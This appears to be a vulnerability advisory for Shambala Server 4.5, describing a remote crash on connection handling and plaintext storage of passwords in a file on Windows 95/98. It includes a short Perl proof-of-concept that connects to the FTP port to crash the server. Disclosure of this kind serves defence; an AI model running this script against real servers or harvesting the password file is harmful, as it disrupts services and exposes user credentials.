COMMAND

    Shambala

SYSTEMS AFFECTED

    Shambala Server 4.5

PROBLEM

    'zillion' found following.  Shambala is a low cost, multi-featured
    FTP and Web  server distributed by  Evolvable Corporation.   It is
    used by numerous  amateur and small  office/home webmasters as  an
    economical way  to launch  and manage  a website.   A problem with
    Shambala's  mishandling  of  connections  and disconnections would
    potentially enable a (simple) denial-of-service attack.  A  second
    observation  is  Shambala's  storage  of passwords in-the-clear on
    the server: a major problem on Windows 95 and 98 platforms.

    Vendor's blurb: "Shambala is an easy to use communications  server
    featuring the ability  to serve and  access web sites,  ftp sites,
    and chat rooms.  Using Shambala, you can quickly create a web site
    and host  it from  any PC.   Shambala doesn't  require NT  and its
    installation is non-invasive."

    Shambala  does  not  handle  all  connections  correctly.   It  is
    therefore possible to remotely crash the ftp server using a custom
    script  which  automates  the  action  of  opening  and  closing a
    connection  to  and  from  the  server.   The  server crashes upon
    disconnection and gives the following error:

        Run-time error `20127`
        invalid ConnectionID

    A second problem  is that Shambala  stores all passwords  in plain
    text on the server:

        c:\program files\shambala\passwords.txt (in our case)

    This is not such a big  deal on an NT server as  permissions could
    be set to deny  access to this file.   Because the server is  also
    shipped for  Windows 95  and Windows  98 it  could be possible for
    any user to gain access to the file.

    #!/usr/bin/perl
    #
    # This tool (tool not exploit!) crashes shambale server 4.5
    # This is a stripped version of Guido Bakkers exploit code (bedankt)
    #
    use Getopt::Std;
    use IO::Socket;
    getopts('s:', \%args);
    &usage if !defined($args{s});
    $serv = $args{s};
    $EOL="\015\012";
    $remote = IO::Socket::INET->new(
                       Proto       => "tcp",
                       PeerAddr    => $args{s},
                       PeerPort    => "ftp(21)",
                   ) || die("Unable to connect to ftp port at $args{s}\n");
    $remote->autoflush(1);
    print "Done...\n";
    exit; # remove this and the server will *NOT* crash
    sub usage {die("\n$0 -s ipaddress\n\n");}

SOLUTION

    It is recommended to disable  the daemon until a fixed  package is
    released.  The problem will be fixed in a next release.